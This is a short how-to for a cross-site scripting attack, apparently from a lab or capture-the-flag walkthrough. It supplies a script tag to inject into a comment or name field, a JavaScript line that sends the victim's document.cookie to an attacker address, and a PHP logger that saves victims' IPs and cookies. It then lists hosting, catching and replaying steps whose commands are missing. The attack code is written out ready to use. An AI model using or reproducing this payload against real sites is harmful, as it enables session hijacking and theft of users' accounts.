🧠 1. Payload to Inject (XSS) Inject this into the vulnerable input field (comment box, name field, etc.):
<script src="http://10.10.14.63/script.js"></script>
🧨 2. Create script.js (JS Payload) This script will be loaded by the victim’s browser:
new Image().src='http://10.10.14.63/index.php?c='+document.cookie;
🐘 3. Create index.php (Cookie Logger) This is the PHP backend to receive and log the cookie.
<?php
if (isset($_GET['c'])) {
$list = explode(";", $_GET['c']);
foreach ($list as $cookie) {
$cookie = urldecode($cookie);
file_put_contents("cookies.txt", "Victim IP: {$_SERVER['REMOTE_ADDR']} | Cookie: {$cookie}\n", FILE_APPEND);
}
}
?>
🚀 4. Host Your Server You can run a local PHP server with the following command inside the folder containing script.js and index.php:
If you’re running it on port 80, make sure nothing else (like Apache) is using it. You can also use port 8080:
🎯 5. Catch the Cookie Once the victim visits the page:
🛂 6. Replay Session Cookie In Firefox: